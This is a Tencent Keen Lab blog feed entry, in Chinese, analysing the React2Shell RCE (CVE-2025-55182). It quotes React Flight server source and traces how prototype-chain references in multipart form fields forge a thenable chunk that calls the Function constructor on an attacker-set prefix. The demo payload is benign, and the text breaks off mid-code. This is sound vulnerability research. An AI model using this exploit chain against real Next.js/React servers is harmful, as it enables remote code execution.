<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>腾讯科恩实验室官方博客</title>
  
  
  <link href="https://keenlab.tencent.com/zh/atom.xml" rel="self"/>
  
  <link href="https://keenlab.tencent.com/zh/"/>
  <updated>2025-12-08T11:23:11.842Z</updated>
  <id>https://keenlab.tencent.com/zh/</id>
  
  <author>
    <name>腾讯科恩实验室</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>【漏洞分析】CVE-2025-55182 React2shell远程代码执行解析</title>
    <link href="https://keenlab.tencent.com/zh/2025/12/08/2025-CVE-2025-55182/"/>
    <id>https://keenlab.tencent.com/zh/2025/12/08/2025-CVE-2025-55182/</id>
    <published>2025-12-08T10:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2025-CVE-2025-55182/CVE-2025-55182.png"></p><h1 id="React2Shell-CVE-2025-55182-漏洞分析"><a href="#React2Shell-CVE-2025-55182-漏洞分析" class="headerlink" title="React2Shell (CVE-2025-55182) 漏洞分析"></a>React2Shell (CVE-2025-55182) 漏洞分析</h1><p>这几天应该很多人在忙着应急这个“核弹级”漏洞，它已经成了安全圈里的“新顶流”。但网上还没有比较详细的分析文章，而我又对公开POC中的一些细节实在好奇，所以今天来一探究竟。<br>因为我对React不够了解，所以本文没有任何扩展内容，仅仅只是把漏洞利用过程调试了一遍，并且因为利用过程有点绕，所以配上了流程图方便理解。</p><span id="more"></span><h2 id="背景知识"><a href="#背景知识" class="headerlink" title="背景知识"></a>背景知识</h2><h3 id="React-Server-Components-RSC"><a href="#React-Server-Components-RSC" class="headerlink" title="React Server Components (RSC)"></a>React Server Components (RSC)</h3><p>RSC 是 React 19 推出的新渲染模型，核心思想是让部分组件在服务器端执行，仅将序列化后的”结果”传输给客户端。</p><p><strong>主要特性：</strong></p><ul><li><strong>服务端执行</strong>：组件代码可直接在服务端执行业务逻辑与数据获取（如访问数据库、调用内部服务）</li><li><strong>Flight 协议传输</strong>：客户端接收经过序列化的”React 树描述”，再在浏览器中反序列化为 React 元素</li><li><strong>流式渲染</strong>：支持增量传输，先发送已计算完成的部分，后续再补充剩余内容</li></ul><p><strong>与传统 SSR 的区别：</strong></p><table><thead><tr><th>特性</th><th>传统 SSR</th><th>RSC</th></tr></thead><tbody><tr><td>输出格式</td><td>完整 HTML 字符串</td><td>组件树的数据格式（Flight stream）</td></tr><tr><td>客户端处理</td><td>仅做 Hydrate</td><td>作为完整 React 应用运行</td></tr></tbody></table><p>这套机制已成为 Next.js App Router 的默认架构。</p><h2 id="React-Flight-协议"><a href="#React-Flight-协议" class="headerlink" title="React Flight 协议"></a>React Flight 协议</h2><h3 id="数据结构概述"><a href="#数据结构概述" class="headerlink" title="数据结构概述"></a>数据结构概述</h3><h4 id="FormData-与-Chunk-索引"><a href="#FormData-与-Chunk-索引" class="headerlink" title="FormData 与 Chunk 索引"></a>FormData 与 Chunk 索引</h4><p>在典型的 Server Action 请求中，Next.js &#x2F; React 发送 <code>multipart/form-data</code> 请求，表单字段结构如下：</p><ul><li><code>name=&quot;0&quot;</code>:  主 payload（如参数列表）</li><li><code>name=&quot;1&quot;</code>:  第 1 个模型块（model chunk）</li><li><code>name=&quot;2&quot;</code>:  第 2 个模型块</li><li><code>...</code> : 更多块</li></ul><h4 id="N-引用语法"><a href="#N-引用语法" class="headerlink" title="$N 引用语法"></a><code>$N</code> 引用语法</h4><p>Flight 协议使用 <code>$</code> 前缀加数字表示对特定 chunk 的引用，冒号分隔的路径用于访问嵌套属性：</p><ul><li><code>&quot;$1&quot;</code>:  引用 chunk1 本身</li><li><code>&quot;$2:fruitName&quot;</code>:   引用 chunk2 解析后对象的 <code>fruitName</code> 属性</li><li><code>&quot;$3:user:email&quot;</code>:  引用 chunk3 中的 <code>.user.email</code></li></ul><h4 id="Flight-数据解析流程"><a href="#Flight-数据解析流程" class="headerlink" title="Flight 数据解析流程"></a>Flight 数据解析流程</h4><p>假设客户端发送如下请求体：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundaryABC123</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;0&quot;</span><br><span class="line"></span><br><span class="line">[&quot;$1:profile:name&quot;]</span><br><span class="line">------WebKitFormBoundaryABC123</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;1&quot;</span><br><span class="line"></span><br><span class="line">&#123;&quot;profile&quot;:&#123;&quot;name&quot;:&quot;alice&quot;,&quot;age&quot;:18&#125;&#125;</span><br><span class="line">------WebKitFormBoundaryABC123--</span><br></pre></td></tr></table></figure><p>可以看作：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">chunks = &#123;</span><br><span class="line">  <span class="string">&quot;0&quot;</span>: <span class="string">&#x27;[&quot;$1:profile:name&quot;]&#x27;</span>,</span><br><span class="line">  <span class="string">&quot;1&quot;</span>: <span class="string">&#x27;&#123;&quot;profile&quot;:&#123;&quot;name&quot;:&quot;alice&quot;,&quot;age&quot;:18&#125;&#125;&#x27;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解析过程：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&quot;$1:profile:name&quot;</span><br><span class="line">  → 查找 chunk1 并解析：&#123;&quot;profile&quot;:&#123;&quot;name&quot;:&quot;alice&quot;,&quot;age&quot;:18&#125;&#125;</span><br><span class="line">  → 访问路径 .profile.name</span><br><span class="line">  → 返回 &quot;alice&quot;</span><br></pre></td></tr></table></figure><h3 id="漏洞根因"><a href="#漏洞根因" class="headerlink" title="漏洞根因"></a>漏洞根因</h3><p><strong>漏洞的核心问题在于：路径解析逻辑未通过 <code>hasOwnProperty</code> 限制可访问的属性范围，导致攻击者可以沿原型链访问任意属性，包括 <code>__proto__</code>、<code>constructor</code> 等敏感属性。</strong></p><h2 id="流程图"><a href="#流程图" class="headerlink" title="流程图"></a>流程图</h2><p><img src="/zh/img/2025-CVE-2025-55182/react2shell.svg"></p><h2 id="漏洞代码分析"><a href="#漏洞代码分析" class="headerlink" title="漏洞代码分析"></a>漏洞代码分析</h2><h3 id="入口函数：decodeReplyFromBusboy"><a href="#入口函数：decodeReplyFromBusboy" class="headerlink" title="入口函数：decodeReplyFromBusboy"></a>入口函数：decodeReplyFromBusboy</h3><p><code>decodeReplyFromBusboy</code> 是服务端解析客户端 FormData 的入口函数，位于 <code>ReactFlightDOMServerNode.js</code>：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js</span></span><br><span class="line"><span class="keyword">function</span> decodeReplyFromBusboy&lt;T&gt;(</span><br><span class="line">  ...</span><br><span class="line">): <span class="title class_">Thenable</span>&lt;T&gt; &#123;</span><br><span class="line">  ...</span><br><span class="line">  busboyStream.<span class="title function_">on</span>(<span class="string">&#x27;field&#x27;</span>, <span class="function">(<span class="params">name, value</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (pendingFiles &gt; <span class="number">0</span>) &#123;</span><br><span class="line">      queuedFields.<span class="title function_">push</span>(name, value);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="title function_">resolveField</span>(response, name, value);  <span class="comment">// 处理表单字段</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br></pre></td></tr></table></figure><p><strong>调用链：</strong> <code>resolveField</code> → <code>resolveModelChunk</code> → <code>initializeModelChunk</code></p><h3 id="字段解析：resolveField"><a href="#字段解析：resolveField" class="headerlink" title="字段解析：resolveField"></a>字段解析：resolveField</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/react-server/src/ReactFlightReplyServer.js</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">resolveField</span>(<span class="params"></span></span><br><span class="line"><span class="params">  response: Response,</span></span><br><span class="line"><span class="params">  key: string,</span></span><br><span class="line"><span class="params">  value: string,</span></span><br><span class="line"><span class="params"></span>): <span class="keyword">void</span> &#123;</span><br><span class="line">  response.<span class="property">_formData</span>.<span class="title function_">append</span>(key, value);</span><br><span class="line">  <span class="keyword">const</span> prefix = response.<span class="property">_prefix</span>;</span><br><span class="line">  <span class="keyword">if</span> (key.<span class="title function_">startsWith</span>(prefix)) &#123;</span><br><span class="line">    <span class="keyword">const</span> chunks = response.<span class="property">_chunks</span>;</span><br><span class="line">    <span class="keyword">const</span> id = +key.<span class="title function_">slice</span>(prefix.<span class="property">length</span>);</span><br><span class="line">    <span class="keyword">const</span> chunk = chunks.<span class="title function_">get</span>(id);</span><br><span class="line">    <span class="keyword">if</span> (chunk) &#123;</span><br><span class="line">      <span class="title function_">resolveModelChunk</span>(chunk, value, id);  <span class="comment">// 解析模型块</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="核心解码逻辑：initializeModelChunk"><a href="#核心解码逻辑：initializeModelChunk" class="headerlink" title="核心解码逻辑：initializeModelChunk"></a>核心解码逻辑：initializeModelChunk</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/react-server/src/ReactFlightReplyServer.js</span></span><br><span class="line"><span class="keyword">function</span> initializeModelChunk&lt;T&gt;(<span class="attr">chunk</span>: <span class="title class_">ResolvedModelChunk</span>&lt;T&gt;): <span class="keyword">void</span> &#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="keyword">const</span> resolvedModel = chunk.<span class="property">value</span>;</span><br><span class="line">  ...</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> rawModel = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(resolvedModel);  <span class="comment">// [1] JSON 解析</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> <span class="attr">value</span>: T = <span class="title function_">reviveModel</span>(                <span class="comment">// [2] 还原对象</span></span><br><span class="line">      chunk.<span class="property">_response</span>,</span><br><span class="line">      &#123;<span class="string">&#x27;&#x27;</span>: rawModel&#125;,</span><br><span class="line">      <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">      rawModel,</span><br><span class="line">      rootReference,</span><br><span class="line">    );</span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键步骤：</strong></p><ul><li><strong>[1]</strong> 对 <code>chunk.value</code> 进行 JSON 解析，得到如 <code>&#123;then: &quot;$1:...&quot;, ...&#125;</code> 的对象</li><li><strong>[2]</strong> <code>reviveModel</code> 处理 JSON，将字符串引用还原为实际对象</li></ul><h3 id="还原对象：reviveModel"><a href="#还原对象：reviveModel" class="headerlink" title="还原对象：reviveModel"></a>还原对象：reviveModel</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/react-server/src/ReactFlightReplyServer.js</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">reviveModel</span>(<span class="params">...</span>): any &#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="keyword">if</span> (<span class="keyword">typeof</span> value === <span class="string">&#x27;object&#x27;</span> &amp;&amp; value !== <span class="literal">null</span>) &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">const</span> key <span class="keyword">in</span> value) &#123;    <span class="comment">// [3] 遍历对象属性</span></span><br><span class="line">      <span class="keyword">if</span> (hasOwnProperty.<span class="title function_">call</span>(value, key)) &#123;</span><br><span class="line">        <span class="keyword">const</span> newValue = <span class="title function_">reviveModel</span>(</span><br><span class="line">          response, value, key, value[key], childRef,</span><br><span class="line">        );</span><br><span class="line">        <span class="keyword">if</span> (newValue !== <span class="literal">undefined</span>) &#123;</span><br><span class="line">          value[key] = newValue;  <span class="comment">// 用解析后的对象替换原字符串</span></span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> value;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>POC 中 <code>chunk[0].value</code> 经 JSON 解析后为 object 类型，进入 <strong>[3]</strong> 处的循环，遍历所有 key-value 并递归调用 <code>reviveModel</code>。这是反序列化的核心过程——将数据还原为实际对象。</p><p>当遇到第一个 key <code>then</code>，其值为 <code>$1:__proto__:then</code>（字符串类型），会走不同分支：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">reviveModel</span>(<span class="params">...</span>): any &#123;</span><br><span class="line">  <span class="keyword">if</span> (<span class="keyword">typeof</span> value === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">parseModelString</span>(response, parentObj, parentKey, value, reference);</span><br><span class="line">  &#125;</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="字符串解析：parseModelString"><a href="#字符串解析：parseModelString" class="headerlink" title="字符串解析：parseModelString"></a>字符串解析：parseModelString</h3><p><code>parseModelString</code> 包含一个大型 switch 表，根据前缀字符路由到不同处理逻辑：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/react-server/src/ReactFlightReplyServer.js</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">parseModelString</span>(<span class="params">...</span>): any &#123;</span><br><span class="line">  <span class="keyword">if</span> (value[<span class="number">0</span>] === <span class="string">&#x27;$&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">switch</span> (value[<span class="number">1</span>]) &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;$&#x27;</span>: &#123;</span><br><span class="line">        <span class="keyword">return</span> value.<span class="title function_">slice</span>(<span class="number">1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;@&#x27;</span>: &#123;</span><br><span class="line">        <span class="comment">// Promise 引用</span></span><br><span class="line">        <span class="keyword">const</span> id = <span class="built_in">parseInt</span>(value.<span class="title function_">slice</span>(<span class="number">2</span>), <span class="number">16</span>);</span><br><span class="line">        <span class="keyword">const</span> chunk = <span class="title function_">getChunk</span>(response, id);  <span class="comment">// [4]</span></span><br><span class="line">        <span class="keyword">return</span> chunk;</span><br><span class="line">      &#125;</span><br><span class="line">      ...</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 默认：chunk 引用</span></span><br><span class="line">    <span class="keyword">const</span> ref = value.<span class="title function_">slice</span>(<span class="number">1</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getOutlinedModel</span>(response, ref, obj, key, createModel);  <span class="comment">// [5]</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="引用解析：getOutlinedModel"><a href="#引用解析：getOutlinedModel" class="headerlink" title="引用解析：getOutlinedModel"></a>引用解析：getOutlinedModel</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/react-server/src/ReactFlightReplyServer.js</span></span><br><span class="line"><span class="keyword">function</span> getOutlinedModel&lt;T&gt;(...): T &#123;</span><br><span class="line">  <span class="keyword">const</span> path = reference.<span class="title function_">split</span>(<span class="string">&#x27;:&#x27;</span>);  <span class="comment">// 按 : 分割路径</span></span><br><span class="line">  <span class="keyword">const</span> id = <span class="built_in">parseInt</span>(path[<span class="number">0</span>], <span class="number">16</span>);</span><br><span class="line">  <span class="keyword">const</span> chunk = <span class="title function_">getChunk</span>(response, id);</span><br><span class="line">  ...</span><br><span class="line">  <span class="keyword">switch</span> (chunk.<span class="property">status</span>) &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">case</span> <span class="attr">PENDING</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="attr">BLOCKED</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="attr">CYCLIC</span>:</span><br><span class="line">      <span class="keyword">const</span> parentChunk = initializingChunk;</span><br><span class="line">      chunk.<span class="title function_">then</span>(  <span class="comment">// [6] 注册回调</span></span><br><span class="line">        <span class="title function_">createModelResolver</span>(...),</span><br><span class="line">        <span class="title function_">createModelReject</span>(parentChunk),</span><br><span class="line">      );</span><br><span class="line">      <span class="keyword">return</span> (<span class="attr">null</span>: any);</span><br><span class="line">    <span class="attr">default</span>:</span><br><span class="line">      <span class="keyword">throw</span> chunk.<span class="property">reason</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="漏洞利用过程"><a href="#漏洞利用过程" class="headerlink" title="漏洞利用过程"></a>漏洞利用过程</h2><h3 id="解析-chunk-0-并注册回调"><a href="#解析-chunk-0-并注册回调" class="headerlink" title="解析 chunk[0] 并注册回调"></a>解析 chunk[0] 并注册回调</h3><ol><li>**解析 <code>$1:__proto__:then</code>**：<code>value[0]</code> 为 <code>$</code>，<code>value[1]</code> 为 <code>1</code>（chunk 1 的引用），进入 <strong>[5]</strong></li><li>**<code>getOutlinedModel</code> 处理 <code>1:__proto__:then</code>**：<ul><li>按 <code>:</code> 分割得到 <code>path = [&quot;1&quot;, &quot;__proto__&quot;, &quot;then&quot;]</code></li><li>解析 <code>path[0]</code> 获取 chunk[1]，此时状态为 <code>PENDING</code></li><li>进入 **[6]**，调用 <code>Chunk.prototype.then</code>（自定义实现）</li><li>将 <code>createModelResolver</code> 回调 push 到 <code>chunk.value</code> 中，待后续触发</li></ul></li></ol><blockquote><p>图示：回调注册过程<br><img src="/zh/img/2025-CVE-2025-55182/1-callback-register.png"></p></blockquote><ol start="3"><li><strong>继续处理 chunk[0] 的其他 key</strong>，完成后开始处理 chunk[1]</li></ol><h3 id="解析-chunk-1-并触发回调"><a href="#解析-chunk-1-并触发回调" class="headerlink" title="解析 chunk[1] 并触发回调"></a>解析 chunk[1] 并触发回调</h3><p>chunk[1] 的值为 <code>&quot;$@0&quot;</code>，在 <strong>[4]</strong> 处解析，调用 <code>getChunk</code> 获取 chunk[0]。</p><p>一路向上返回到initializeModelChunk，之后返回至resolveModelChunk</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/react-server/src/ReactFlightReplyServer.js</span></span><br><span class="line"><span class="keyword">function</span> resolveModelChunk&lt;T&gt;(</span><br><span class="line">  <span class="attr">chunk</span>: <span class="title class_">SomeChunk</span>&lt;T&gt;,</span><br><span class="line">  <span class="attr">value</span>: string,</span><br><span class="line">  <span class="attr">id</span>: number,</span><br><span class="line">): <span class="keyword">void</span> &#123;</span><br><span class="line"> ...</span><br><span class="line">  <span class="keyword">if</span> (resolveListeners !== <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="title function_">initializeModelChunk</span>(resolvedChunk);</span><br><span class="line">    <span class="comment">// The status might have changed after initialization.</span></span><br><span class="line">    <span class="title function_">wakeChunkIfInitialized</span>(chunk, resolveListeners, rejectListeners);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>随后调用 <code>wakeChunkIfInitialized</code>：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/react-server/src/ReactFlightReplyServer.js</span></span><br><span class="line"><span class="keyword">function</span> wakeChunkIfInitialized&lt;T&gt;(</span><br><span class="line">  <span class="attr">chunk</span>: <span class="title class_">SomeChunk</span>&lt;T&gt;,</span><br><span class="line">  <span class="attr">resolveListeners</span>: <span class="title class_">Array</span>&lt;...&gt;,</span><br><span class="line">  <span class="attr">rejectListeners</span>: <span class="literal">null</span> | <span class="title class_">Array</span>&lt;...&gt;,</span><br><span class="line">): <span class="keyword">void</span> &#123;</span><br><span class="line">  <span class="keyword">switch</span> (chunk.<span class="property">status</span>) &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="attr">INITIALIZED</span>:</span><br><span class="line">      <span class="title function_">wakeChunk</span>(resolveListeners, chunk.<span class="property">value</span>, chunk);  <span class="comment">// [7] 触发回调</span></span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时 chunk 状态为 <code>INITIALIZED</code>，进入 <code>wakeChunk</code> 调用之前注册的 <code>resolveListeners</code>。</p><blockquote><p>图示：resolveListeners 包含 <code>then</code> 和 <code>get</code> 两个 key 的回调<br><img src="/zh/img/2025-CVE-2025-55182/2-listeners.png"></p></blockquote><h3 id="原型链遍历"><a href="#原型链遍历" class="headerlink" title="原型链遍历"></a>原型链遍历</h3><p>回调中执行以下循环：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">1</span>; i &lt; path.<span class="property">length</span>; i++) &#123;</span><br><span class="line">  value = value[path[i]];  <span class="comment">// 沿路径取值，无 hasOwnProperty 检查</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>图示：原型链遍历过程<br><img src="/zh/img/2025-CVE-2025-55182/3-then.png"><br><img src="/zh/img/2025-CVE-2025-55182/4-get.png"></p></blockquote><p><strong>这个循环类似于文件系统中的 <code>../../</code> 路径遍历，但作用于 JavaScript 原型链。</strong></p><p>以 <code>path = [&quot;1&quot;, &quot;__proto__&quot;, &quot;then&quot;]</code> 为例，<code>value</code> 初始为 chunk[0]（<code>Chunk</code> 实例）：</p><table><thead><tr><th>迭代</th><th>操作</th><th>结果</th></tr></thead><tbody><tr><td>1</td><td><code>value = chunk[&quot;__proto__&quot;]</code></td><td><code>Chunk.prototype</code></td></tr><tr><td>2</td><td><code>value = Chunk.prototype[&quot;then&quot;]</code></td><td><code>Chunk.prototype.then</code> 函数</td></tr></tbody></table><p><code>get</code> 属性的处理类似，最终可获取 <code>Chunk.constructor.constructor</code>（即 <code>Function</code> 构造函数）。</p><h3 id="构造伪造-Chunk"><a href="#构造伪造-Chunk" class="headerlink" title="构造伪造 Chunk"></a>构造伪造 Chunk</h3><p>经过上述处理，chunk[0].value 被构造为：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">then</span>: <span class="title class_">Chunk</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">then</span>,     <span class="comment">// 来自 __proto__.then</span></span><br><span class="line">  <span class="attr">status</span>: <span class="string">&quot;resolved_model&quot;</span>,</span><br><span class="line">  <span class="attr">reason</span>: -<span class="number">1</span>,</span><br><span class="line">  <span class="attr">value</span>: <span class="string">&#x27;&#123;&quot;then&quot;:&quot;$B1337&quot;&#125;&#x27;</span>,</span><br><span class="line">  <span class="attr">_response</span>: &#123;</span><br><span class="line">    <span class="attr">_prefix</span>: <span class="string">&quot;debugger;throw new Error(&#x27;test&#x27;);&quot;</span>,</span><br><span class="line">    <span class="attr">_formData</span>: &#123;</span><br><span class="line">      <span class="attr">get</span>: <span class="title class_">Function</span>               <span class="comment">// 来自 constructor.constructor</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这是一个伪造的 thenable 对象，当 <code>await decodeReplyFromBusboy</code> 执行时会调用其 <code>then</code> 方法。</p><h3 id="触发代码执行"><a href="#触发代码执行" class="headerlink" title="触发代码执行"></a>触发代码执行</h3><p>在 <code>then</code> 方法中，由于 <code>status</code> 为 <code>resolved_model</code>，会调用 <code>initializeModelChunk</code> → <code>reviveModel</code>。</p><p>此时 <code>value</code> 为 <code>&#123;&quot;then&quot;:&quot;$B1337&quot;&#125;</code>，解析 <code>$B1337</code> 进入 <code>B</code> 分支（Blob 处理）：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="string">&#x27;B&#x27;</span>: &#123;</span><br><span class="line">  <span class="keyword">const</span> id = <span class="built_in">parseInt</span>(value.<span class="title function_">slice</span>(<span class="number">2</span>), <span class="number">16</span>);  <span class="comment">// 0x1337 =&gt; 4919</span></span><br><span class="line">  <span class="keyword">const</span> prefix = response.<span class="property">_prefix</span>;          <span class="comment">// &quot;debugger;throw new Error(&#x27;test&#x27;);&quot;</span></span><br><span class="line">  <span class="keyword">const</span> blobKey = prefix + id;              <span class="comment">// &quot;debugger;throw new Error(&#x27;test&#x27;);4919&quot;</span></span><br><span class="line">  <span class="keyword">const</span> <span class="attr">backingEntry</span>: <span class="title class_">Blob</span> = (response.<span class="property">_formData</span>.<span class="title function_">get</span>(blobKey): any);  <span class="comment">// [8]</span></span><br><span class="line">  <span class="keyword">return</span> backingEntry;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>[8]</strong> 处调用 <code>response._formData.get(blobKey)</code>，而 <code>_formData.get</code> 已被替换为 <code>Function</code> 构造函数</p><p>因此实际执行：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Function</span>(<span class="string">&quot;debugger;throw new Error(&#x27;test&#x27;);4919&quot;</span>)</span><br></pre></td></tr></table></figure><p>返回的函数被写回 <code>then</code> 属性：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span 